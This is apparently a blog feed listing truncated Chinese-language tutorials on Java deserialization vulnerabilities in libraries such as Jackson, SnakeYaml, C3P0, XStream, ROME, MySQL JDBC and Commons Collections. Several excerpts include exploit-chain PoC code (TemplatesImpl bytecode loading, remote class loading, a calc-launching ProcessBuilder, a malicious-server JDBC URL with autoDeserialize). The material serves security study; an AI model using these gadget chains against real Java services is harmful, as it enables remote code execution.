闲遇阁 - JAVA安全
type: channel
link: http://blog.187.ink/index.php/tag/JAVA%E5%AE%89%E5%85%A8/
items: JAVA安全-JackSon反序列化
items: JAVA安全-SnakeYaml反序列化
items: JAVA安全-C3P0反序列化
items: JAVA安全-XStream反序列化
items: JAVA安全-Hessian反序列化
items: JAVA安全-ROME反序列化
items: JAVA安全-JDBC
items: JAVA安全-Common-BeanUtils
items: JAVA安全-CommonsCollections其他
items: JAVA安全-CommonsCollections 2

JAVA安全-JackSon反序列化
type: item
date: 2025-03-26T21:33:00+08:00
description: JackSon反序列化JackSonSpringboot一般都会自带JackSon这个依赖包，JackSon跟Fastjson有相同的功效。Jackson 是一个用于处理 JSON 数据的开源 Java 库。Spring MVC 的默认 json 解析器便是 Jackson。在 Java 领域，Jackson 已经成为处理 JSON 数据的事实标准库。它提供了丰富的功能，包括将 Java 对象转换为 JSON 字符串（序列化）以及将 JSON 字符串转换为 Java 对象（反序列化）。Jackson主要由三个核心包组成：jackson-databind：提供了通用的数据绑定功能（将Java对象与JSON数据相互转换）jackson-core：提供了核心的低级JSON处理API（例如JsonParser和JsonGenerator）jackson-annotations：提供了用于配置数据绑定的注解<dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.13.3</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-core</artifactId> <version>2.13.3</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-annotations</artifactId> <version>2.13.3</version> </dependency>示例ObjectMapperJackson 最常用的 API 就是基于"对象绑定" 的 ObjectMapper：ObjectMapper可以从字符串，流或文件中解析JSON，并创建表示已解析的JSON的Java对象。 将JSON解析为Java对象也称为从JSON反序列化Java对象。ObjectMapper也可以从Java对象创建JSON。 从Java对象生成JSON也称为将Java对象序列化为JSON。Object映射器可以将JSON解析为自定义的类的对象，也可以解析置JSON树模型的对象。之所以称为ObjectMapper是因为它将JSON映射到Java对象（反序列化），或者将Java对象映射到JSON（序列化）。package jackson; import com.fasterxml.jackson.databind.ObjectMapper; import java.io.IOException; public class demo { public static void main(String[] args) throws IOException { Person user = new Person("eqw",123); ObjectMapper mapper = new ObjectMapper(); String json = mapper.writeValueAsString(user); System.out.println(json);//{"name":"eqw","age":123} Person other = mapper.readValue(json,Person.class); System.out.println(other);//jackson.Person@6a4f787b } }JsonParserJackson JsonParser类是一个底层一些的JSON解析器。 它类似于XML的Java StAX解析器，差别是JsonParser解析JSON而不解析XML。Jackson JsonParser的运行层级低于Jackson ObjectMapper。 这使得JsonParser比ObjectMapper更快，但使用起来也比较麻烦。使用JsonParser需要先创建一个JsonFactorypackage jackson; import com.fasterxml.jackson.core.JsonFactory; import com.fasterxml.jackson.core.JsonParser; import com.fasterxml.jackson.core.JsonToken; public class demo1 { public stati…

JAVA安全-SnakeYaml反序列化
type: item
date: 2025-03-25T18:03:32+08:00
description: SnakeYaml反序列化SnakeYamlSnakeYaml包主要用来解析yaml格式的内容，yaml语言比普通的xml与properties等配置文件的可读性更高，像是Spring系列就支持yaml的配置文件，而SnakeYaml是一个完整的YAML1.1规范Processor，支持UTF-8/UTF-16，支持Java对象的序列化/反序列化，支持所有YAML定义的类型。YAML基本格式要求：YAML大小写敏感使用缩进代表层级关系缩进只能使用空格，不能使用TAB，不要求空格个数，只需要相同层级左对齐(一般2个或4个空格)<dependency> <groupId>org.yaml</groupId> <artifactId>snakeyaml</artifactId> <version>1.27</version> </dependency>主要关注序列化与反序列化SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化。Yaml.load()：入参是一个字符串或者一个文件，经过序列化之后返回一个Java对象；Yaml.dump()：将一个对象转化为yaml文件形式；常用方法：String dump(Object data) //将Java对象序列化为YAML字符串。 void dump(Object data, Writer output) //将Java对象序列化为YAML流。 String dumpAll(Iterator<? extends Object> data) //将一系列Java对象序列化为YAML字符串。 void dumpAll(Iterator<? extends Object> data, Writer output) //将一系列Java对象序列化为YAML流。 String dumpAs(Object data, Tag rootTag, DumperOptions.FlowStyle flowStyle) //将Java对象序列化为YAML字符串。 String dumpAsMap(Object data) #将Java对象序列化为YAML字符串。 <T> T load(InputStream io) //解析流中唯一的YAML文档，并生成相应的Java对象。 <T> T load(Reader io) //解析流中唯一的YAML文档，并生成相应的Java对象。 <T> T load(String yaml) //解析字符串中唯一的YAML文档，并生成相应的Java对象。 Iterable<Object> loadAll(InputStream yaml) //解析流中的所有YAML文档，并生成相应的Java对象。 Iterable<Object> loadAll(Reader yaml) //解析字符串中的所有YAML文档，并生成相应的Java对象。 Iterable<Object> loadAll(String yaml) //解析字符串中的所有YAML文档，并生成相应的Java对象。示例package snakeyaml; import org.yaml.snakeyaml.Yaml; public class test { public static void main(String[] args) { Person person = new Person("name",1); Yaml yaml = new Yaml(); // 序列化 String dump = yaml.dump(person); System.out.println(dump); // 反序列化 Object load = yaml.load(dump); System.out.println(load); } } //输出 //!!snakeyaml.Person {age: 1, name: name} // //snakeyaml.Person@4d591d15 //这里的!!类似于fastjson中的@type用于指定反序列化的全类名反序列化过程中会触发set方法和构造方法。利用链JdbcRowSetImpl利用链 jndi这里和fastjson的触发一致，调用com.sun.rowset.JdbcRowSetImpl#setDataSourceName为父类BaseRowSet的dataSource属性赋值然后调用setAutoCommit为autoCommit赋值会调用connect方法这个方法存在new InitialContext().lookup()且参数就是dataSourceName可控，于是可以触发JNDI注入package…

JAVA安全-C3P0反序列化
type: item
date: 2025-03-13T18:37:00+08:00
description: C3P0反序列化C3P0C3P0是一个开源的JDBC连接池，它实现了数据源和JNDI绑定，支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate，Spring等。JDBC是Java DataBase Connectivity的缩写，它是Java程序访问数据库的标准接口。使用Java程序访问数据库时，Java代码并不是直接通过TCP连接去访问数据库，而是通过JDBC接口来访问，而JDBC接口则通过JDBC驱动来实现真正对数据库的访问。连接池类似于线程池，在一些情况下我们会频繁地操作数据库，此时Java在连接数据库时会频繁地创建或销毁句柄，增大资源的消耗。为了避免这样一种情况，我们可以提前创建好一些连接句柄，需要使用时直接使用句柄，不需要时可将其放回连接池中，准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。c3p0具有自动回收空闲连接功能。<dependency> <groupId>com.mchange</groupId> <artifactId>c3p0</artifactId> <version>0.9.5.2</version> </dependency>利用链URLClassLoader利用链 远程加载字节码漏洞点在PoolBackedDataSourceBase先看序列化的过程，进入PoolBackedDataSourceBase这个类看看writeObject先将当前对象的connectionPoolDataSource属性进行序列化，如果不能序列化便会在catch块中对connectionPoolDataSource属性用ReferenceIndirector.indirectForm方法处理后再进行序列化操作，我们跟进ReferenceIndirector.indirectForm方法。public IndirectlySerialized indirectForm( Object orig ) throws Exception { Reference ref = ((Referenceable) orig).getReference(); return new ReferenceSerialized( ref, name, contextName, environmentProperties ); } private static class ReferenceSerialized implements IndirectlySerialized { Reference reference; //!!!!! Name name; Name contextName; Hashtable env; ...此方法会调用connectionPoolDataSource属性的getReference方法，并用返回结果作为参数实例化一个ReferenceSerialized对象，然后将ReferenceSerialized对象返回，ReferenceSerialized被序列化可以看出reference是可以被我们控制的，接下来看反序列化的操作，readShort获取版本号为1，往下走,首先获取了反序列化后的对象，然后再判断这个对象o是否实现了IndirectlySerialized接口，在ReferenceIndirector的内部类ReferenceSerialized中实现了这个接口，所以通过判断，调用了o的getObject方法跟进getObject方法跟进ReferenceableUtils.referenceToObject，由于ref是在序列化的时候可以控制的参数，那么fClassName自然也是可以控制的属性，下面就调用了URLClassLoader实例化我们的远程恶意类。这里Class.forName(String name, boolean initialize, ClassLoader loader)中initialize的值为true，也就是会初始化类，恶意代码写在静态代码块就会自动执行。因此有没有newInstance()这里都能触发漏洞package c3p0; import com.mchange.v2.c3p0.PoolBackedDataSource; import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.sql.ConnectionPoolDataSource;…

JAVA安全-XStream反序列化
type: item
date: 2025-03-12T11:37:48+08:00
description: XStream反序列化XStreamXStream实现了一套Java对象到XML的序列化和反序列化机制，核心是通过Converter转换器来将XML和对象之间进行相互的转换。XStream反序列化漏洞的存在是因为XStream支持一个名为DynamicProxyConverter的转换器，该转换器可以将XML中dynamic-proxy标签内容转换成动态代理类对象，而当程序调用了dynamic-proxy标签内的interface标签指向的接口类声明的方法时，就会通过动态代理机制代理访问dynamic-proxy标签内handler标签指定的类方法；利用这个机制，攻击者可以构造恶意的XML内容，即dynamic-proxy标签内的handler标签指向如EventHandler类这种可实现任意函数反射调用的恶意类、interface标签指向目标程序必然会调用的接口类方法；最后当攻击者从外部输入该恶意XML内容后即可触发反序列化漏洞、达到任意代码执行的目的。<dependency> <groupId>com.thoughtworks.xstream</groupId> <artifactId>xstream</artifactId> <version>1.4.10</version> </dependency>demopackage xstream; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.DomDriver; public class xstreamDemo { public static void main(String[] args) { Person zhangsan = new Person("zhangsan", 18); // 序列化 XStream xstream = new XStream(new DomDriver()); String xml = xstream.toXML(zhangsan); System.out.println(xml); // 反序列化 Person user = (Person) xstream.fromXML(xml); } }这里提示“XStream的安全框架未初始化，可能有安全风险”，如果尝试用1.4.17之后版本的XStream运行这段代码将无法正常反序列化出Person对象，并抛出异常。1.14.12版本开始，XStream包含一个安全框架，用于在反序列化时为允许的类型实现黑名单或白名单。在1.4.17版本之前，XStream保留了一个默认的黑名单用于防御安全攻击，在1.4.17版本之后，默认使用白名单，所有人现在都必须进行正确的初始化，否则在反序列化时会失败。因此，用1.4.17之后版本的XStream需要在初始化时给需要反序列化的类加入白名单内。xstream.allowTypes(new Class[]{Person.class});基础原理EventHandler类EventHandler类是实现了InvocationHandler的一个类，设计本意是为交互工具提供beans，建立从用户界面到应用程序逻辑的连接。其方法执行涉及传入事件对象和目标对象的简单语句，通常，连接是从用户界面bean（事件源）到应用程序逻辑bean（目标）。 这种最有效的连接将应用程序逻辑与用户界面隔离开来。在EventHandler.invoke()->EventHandler.invokeInternal()->MethodUtil.invoke()的利用链中，会将前面两个属性作为类方法和参数继续反射调用而动态代理对象调用方法时会触发动态代理机制，调用EventHandler的invoke方法，样例如下package cve_2013_7285; import java.beans.EventHandler; import java.lang.reflect.Proxy; public class Demo { public static void main(String[] args) { ProcessBuilder processBuilder = new ProcessBuilder(new String[]{"cmd","/c","calc"}); EventHandler eventHandler = new EventHandler(processBuilder,"start",null,null); Comparable proxy = (Comparable) Proxy.newProxyInstance(Demo.class.getClassLoad…

JAVA安全-Hessian反序列化
type: item
date: 2025-03-11T21:20:00+08:00
description: Hessian反序列化HessianRPC协议RPC全称为Remote Procedure Call Protocol（远程调用协议），RPC和之前学的RMI十分类似，都是远程调用服务，它们不同之处就是RPC是通过标准的二进制格式来定义请求的信息，这样跨平台和系统就更加方便RPC协议的一次远程通信过程如下:客户端发起请求，并按照RPC协议格式填充信息填充完毕后将二进制格式文件转化为流，通过传输协议进行传输服务端接收到流后，将其转换为二进制格式文件，并按照RPC协议格式获取请求的信息并进行处理处理完毕后将结果按照RPC协议格式写入二进制格式文件中并返回Hessian类似于RMI也是一种RPC工具,用来将对象序列化或反序列化。官方对Java、Python、C++......语言都进行了实现，Hessian一般在Web服务中使用，在Java里它的使用方法很简单，它定义远程对象，并通过二进制的格式进行传输。JDK自带的序列化方式，使用起来非常方便，只需要序列化的类实现了Serializable接口即可。JDK序列化会把对象类的描述和所有属性的元数据都序列化为字节流，另外继承的元数据也会序列化，所以导致序列化的元素较多且字节流很大，但是由于序列化了所有信息所以相对而言更可靠。但是如果只需要序列化属性的值时就比较浪费。其次，由于这种方式是JDK自带，无法被多个语言通用。和JDK自带的序列化方式类似，Hessian采用的也是二进制协议，只不过Hessian序列化之后，字节数更小，性能更优。目前Hessian已经出到2.0版本，相较于1.0的Hessian性能更优。相较于JDK自带的序列化，Hessian的设计目标更明确。Hessian 协议具有以下设计目标：它必须自我描述序列化类型，即不需要外部架构或接口定义。它必须与语言无关，包括支持脚本语言。它必须在一次传递中可读或可写。它必须尽可能紧凑。它必须简单，以便可以有效地测试和实施。它必须尽可能快。它必须支持 Unicode 字符串。它必须支持 8 位二进制数据，而无需转义或使用附件。它必须支持加密、压缩、签名和事务上下文信封（ transaction context envelopes )。依赖<dependency> <groupId>com.caucho</groupId> <artifactId>hessian</artifactId> <version>4.0.63</version> </dependency> <dependency> <groupId>rome</groupId> <artifactId>rome</artifactId> <version>1.0</version> </dependency>各种反序列化机制借此来了解一下反序列化机制在Java中，序列化能够将一个Java对象转换为一串便于传输的字节序列。而反序列化与之相反，能够从字节序列中恢复出一个对象。参考marshalsec.pdf，我们可以将序列化/反序列化机制分大体分为两类基于Bean属性访问机制基于Field机制基于Bean属性访问机制SnakeYAMLjYAMLYamlBeansApache Flex BlazeDSRed5 IO AMFJacksonCastorJava XMLDecoder…它们最基本的区别是如何在对象上设置属性值，它们有共同点，也有自己独有的不同处理方式。有的通过反射自动调用getter(xxx)和setter(xxx)访问对象属性，有的还需要调用默认Constructor，有的处理器（指的上面列出来的那些）在反序列化对象时，如果类对象的某些方法还满足自己设定的某些要求，也会被自动调用。还有XMLDecoder这种能调用对象任意方法的处理器。有的处理器在支持多态特性时，例如某个对象的某个属性是Object、Interface、abstruct等类型，为了在反序列化时能完整恢复，需要写入具体的类型信息，这时候可以指定更多的类，在反序列化时也会自动调用具体类对象的某些方法来设置这些对象的属性值。这种机制的攻击面比基于Field机制的攻击面大，因为它们自动调用的方法以及在支持多态特性时自动调用方法比基于Field机制要多。基于Field机制基于Field机制的反序列化是通过特殊的native（方法或反射（最后也是使用了native方式）直接对Field进行赋值操作的机制，而不是通过getter、setter方式对属性赋值。Java SerializationKryoHessianjson-ioXStream…HessianDemo先写一个标准JavaBean测试用package hessian; import java.io.Serializable; public class P…

JAVA安全-ROME反序列化
type: item
date: 2025-03-10T17:44:00+08:00
description: ROME反序列化ROMEROME是主要用于解析RSS和Atom种子的一个Java框架。ROME支持绝大多数的RSS协议。可以从一种格式转换成另一种格式，也可返回指定格式或 Java 对象。ROME 兼容了 RSS (0.90, 0.91, 0.92, 0.93, 0.94, 1.0, 2.0), Atom 0.3 以及 Atom 1.0 feeds 格式。他有个特殊的位置就是ROME提供了ToStringBean这个类，提供深入的toString方法对Java Bean进行操作。依赖：<dependency> <groupId>rome</groupId> <artifactId>rome</artifactId> <version>1.0</version> </dependency>基本原理ToStringBeanRome包中的com.sun.syndication.feed.impl.ToStringBean类中，提供了toString()方法，其中有两个toString()一个有参一个无参无参toString主要是获取_obj的类名并作为参数调用有参toString有参toString可以分三布，第一步getPropertyDescriptors，获取_beanClass中的getter、setter方法，跟进getPropertyDescriptors可以看到其中调用getPDs()方法跟进getPDs()，又调用了其他有参构造获取了其中的getter、setter方法，之后将其合并赋给list属性pds，并将其转换为数组形式返回获取pds返回值中的方法名和方法之后就会Object value = pReadMethod.invoke(_obj,NO_PARAMS);反射调用该方法_obj类的该方法因此如果有对象在反序列化过程中会调用任意对象的 toString() 方法，就可以调用其他任意对象的 getter() 方法。例如在cc3链中讲到的TemplatesImpl利用链就是利用了TemplatesImpl#getOutputProperties()这个getter方法demopackage rome; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.ToStringBean; import javax.xml.transform.Templates; import java.lang.reflect.Field; import java.util.Base64; public class common { public static void main(String[] args) throws Exception { TemplatesImpl templatesimpl = new TemplatesImpl(); byte[] code = Base64.getDecoder().decode("[binary]"); setValue(templatesimpl, "_name", "whatever"); setValue(templatesimpl, "_bytecodes", new byte[][]{code}); // 这里对_tfactory的反射赋值在反序列化链中可以不写这步，因为反序列化过程中TemplatesImpl#readObject()会对该值初始化，但Demo是直接调用toString()的 // _tfactory 需要是一个TransformerFactoryImpl对象 // 因为TemplatesImpl#defineTransletClasses()方法里有调用到 _tfactory.getExternalExtensionsMap()如果是null会出错 setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl()); ToStringBean toStringBean = new ToStringBean(Templates.class, templatesimpl); toStringBean.toString(); } public static void setValue(Object obj, String name, Object value) throws Exception …

JAVA安全-JDBC
type: item
date: 2025-02-01T23:18:13+08:00
description: JDBCJDBC（Java DataBase Connectivity）即Java数据库连接，是Java语言中用来规范客户端程序如何来访问数据库的应用程序接口，提供了诸如查询和更新数据库中数据的方法。一般格式：jdbc://driver://host:port/database?配置name1=配置Value1&配置name2=配置Value2例子：String Driver = "com.mysql.cj.jdbc.Driver"; //从 mysql-connector-java 6开始 //String Driver = "com.mysql.jdbc.Driver"; // mysql-connector-java 5 String DB_URL="jdbc:mysql://127.0.0.1:3306/security"; //1.加载启动 Class.forName(Driver); //2.建立连接 Connection conn = DriverManager.getConnection(DB_URL,"root","root"); //3.操作数据库，实现增删改查 Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery("select * from users"); //如果有数据，rs.next()返回true while(rs.next()){ System.out.println(rs.getString("id")+" : "+rs.getString("username"));漏洞原理​ 如果攻击者能够控制JDBC连接设置项，那么就可以通过设置其指向恶意MySQL服务器进行ObjectInputStream.readObject()的反序列化攻击从而RCE。​ 因为JDBC连接MySQL服务端时，会有几个内置的SQL查询语句要执行，其中两个查询的结果集在MySQL客户端被处理时会调用ObjectInputStream.readObject()进行反序列化操作。如果攻击者搭建恶意MySQL服务器来控制这两个查询的结果集，并且攻击者可以控制JDBC连接设置项，那么就能触发MySQL JDBC客户端反序列化漏洞。可被利用的两条查询语句：SHOW SESSION STATUSSHOW COLLATION分析com.mysql.cj.jdbc中相关函数来连接MySQL服务器时，会调用到com.mysql.cj.jdbc.result.ResultSetImpl.getObject()函数，而其中会调用readObject()函数执行反序列化操作两个if分别判断是否为Binary或Blob格式数据、判断autoDeserialize属性值是否为true。这也是jdbc后两个参数的原因queryInterceptors和autoDeserializejdbc:mysql://62.204.54.54:10015/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true前面的调用链：​ 一开始是com.mysql.jdbc.Driver进行JDBC中的连接，其中会新建连接实例。连接后，接着设置对应的查询拦截器，对应的值就是我们在JDBC中设置的ServerStatusDiffInterceptor。​ 然后MySQL服务端来初始化Properties并执行相关的SQL语句，其中判断如果查询拦截器不为空则调用查询拦截器的ServerStatusDiffInterceptor#preProcess()函数: public <T extends Resultset> T preProcess(Supplier<String> sql, Query interceptedQuery) { this.populateMapWithSessionStatusValues(this.preExecuteValues); return null; }preProcess其中调用populateMapWithSessionStatusValues() private void populateMapWithSessionStatusValues(Map<String, String> toPopulate) { Statement stmt = null; ResultSet rs = null; try { try { t…

JAVA安全-Common-BeanUtils
type: item
date: 2025-02-01T23:16:07+08:00
description: CB链和CC4的异同点就在于触发compare这个地方，也就是在CB链中哪里调用了compare方法，进而连接上链子Common-BeanUtils基础知识pom.xml：<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency> <dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.9.2</version> </dependency> <dependency> <groupId>commons-logging</groupId> <artifactId>commons-logging</artifactId> <version>1.2</version> </dependency>BeanUtils是Apache Commons项目的一个 Java 类库，提供了一组简单易用的API来操作 Java 对象和 Bean 属性。它的主要功能是将Java Bean的属性值与一组键值对（例如，从HTTP请求或表单参数中）相互转换。主要对 JavaBean 功能的增强。以 Utils 结尾，一般这都是一个工具类/集。JavaBean是一种特定的Java类，它遵循一定的规范和格式，以便于被其他程序使用和操作。JavaBean类设置有构造函数，私有属性和公共 getter/setter 方法：JavaBean 类通常会包含一些私有属性，而这些属性必须通过公共的 getter 和 setter 方法进行访问和修改。这是为了保证 JavaBean 类的封装性，同时也方便外部程序对 JavaBean 对象的属性进行操作。比在Commons-Beanutils的 Java 库中的 PropertyUtils 类提供了一些方法能够动态调用 getter / setter 方法，获取属性值。PropertyUtils.getPropertyimport org.apache.commons.beanutils.PropertyUtils; import java.lang.reflect.InvocationTargetException; public class CommonsBeanUtils { public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException { System.out.println(PropertyUtils.getProperty(new People(),"name")); } }这样就能调用到创建的对象的对应 name 属性的 getter 方法，除此之外，PropertyUtils.getProperty 还支持递归获取属性，比如a对象中有属性b，b对象中有属性c，我们可以通过 PropertyUtils.getProperty(a, "b.c"); 的方式进行递归获取链子首先我们知道这个方法可以调用对象的 getter 方法，那就继续看哪个 getter 方法能够达到利用效果。在CC3动态加载类利用链有符合这个条件的方法getOutputProperties()可以调用到newTransformer()方法，最终加载字节码实现命令执行public synchronized Properties getOutputProperties() { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null; } }因此我们可以通过PropertyUtils.getProperty方法调用这个getter方法，但怎么从反序列化的readObject()方法调用到PropertyUtils.getProperty这个静态方法呢，继续找哪里会调用这个方法，可以发现熟悉的compare()方法，只是这次在BeanComparator类中public int compare(T o1, T o2) { if (this.property == null) { return this.internalCompare(o1, o2); } els…

JAVA安全-CommonsCollections其他
type: item
date: 2024-11-05T22:42:04+08:00
description: CommonsCollections4<dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency>同样是在4的环境下cc3引入了InstantiateTransformer类替换了InvokerTransformer对cc1链进行变形绕过过滤。同理，cc2也能做同样的变形形成一条新的利用链，这就是cc4链。cc4相对于cc2来说并没有将TemplatesImpl类的实例直接放入队列，而是第二次transform()的时候即调用该类的newInstance()实例化，而实例化的参数因为也是可控的，因此在参数位置放入TemplateImpl类的实例PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() PriorityQueue.siftDownUsingConparator() ChainedTransformer.transform() InstantiateTransformer.transform() (TrAXFilter)Constructor.newInstance() templatesImpl.newTranformer() Method.invoke() Runtime.exec()poc:import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import javassist.*; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.util.PriorityQueue; public class CommonsCollections_4 { public static void main(String[] args) throws IOException, CannotCompileException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException { String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; // 创建CommonsCollections4对象，父类为AbstractTranslet，注入了payload进构造函数 ClassPool classPool = ClassPool.getDefault(); // 返回默认的类池 classPool.appendClassPath(AbstractTranslet); // 添加AbstractTranslet的搜索路径 CtClass payload = classPool.makeClass("CommonsCollections4"); // 创建一个新的public类 payload.setSu…

JAVA安全-CommonsCollections 2
type: item
date: 2024-11-01T22:39:00+08:00
description: CommonsCollections 2前面的cc1、cc3、cc6都是基于commons-collections:commons-collections的3.1-3.2.1这几个版本的，但后面有了新的分支org.apache.commons:commons-collections4的4.0版本。但是org.apache.commons:commons-collections4的groupId和artifactId都变了，形成了两个分支。因为commons-collections4不是用来替换commons-collections的一个新版本，而是修复旧的commons-collections的⼀些架构和API设计上的问题的一个拓展。两者的命名空间并不冲突，都可以放在同一个项目中，当于作为一个拓展。commons-collections4改动我们用cc6链的poc做实验，直接将包名一改，把import org.apache.commons.collections.*改成import org.apache.commons.collections4.*在CommonsCollections-4.0版本中，删除了LazyMap的decorate方法，但是有一个lazyMap方法，方法内容一样，所以直接替换一下方法名就可以用：# 老版本 public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); } # 4.0 public static <V, K> LazyMap<K, V> lazyMap(Map<K, V> map, Transformer<? super K, ? extends V> factory) { return new LazyMap(map, factory); }将LazyMap.decorate()改成LazyMap.lazyMap()，运行，弹出计算机，说明老的cc1、cc3、cc6都可以在新的collections4上继续使用cc2预备PriorityQueue利用链cc链的核心，毫无疑问是Transformer#transform()，我们得想办法调入transform中，在里面去执行命令；而cc链的入口，就是Serializable#readObject() ，所以说我们要做的，就是想办法把它们头尾连起来而在CommonsCollections2中，有两个核心类，也就是链子的一头一尾：一个是java.util.PriorityQueue，这个类中有自己的readObject()方法，所以说可以作为链子的开头：优先队列PriorityQueue是Queue接口的实现类，基于二叉堆实现，可以对其中元素进行排序，和先进先出（FIFO）的队列的区别在于，优先队列每次出队的元素都是优先级最高的元素，Java通过堆使得每次出队的元素总是队列里面最小的二叉堆是一种特殊的堆，是完全二叉树或者近似于完全二叉树，二叉堆分为最大堆和最小堆 最大堆：父结点的键值总是大于或等于任何一个子节点的键值；最小堆：父结点的键值总是小于或等于任何一个子节点的键值重点在于每次排序都要触发传入的比较器comparator的compare()方法。并且这个类重写了readObject()方法private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in size, and any hidden stuff s.defaultReadObject(); // Read in (and discard) array length s.readInt(); SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size); queue = new Object[size]; // Read in all elements. for (int i = 0; i < size; i++) queue[i] = s.readObject(); // Elements are guaranteed to be in "proper order", but the // spec has never explained what that might be. heapify(); }该函数中s.defaultReadObject()调用默认的方法，利用readInt()读取了数组的大小，接着通过s…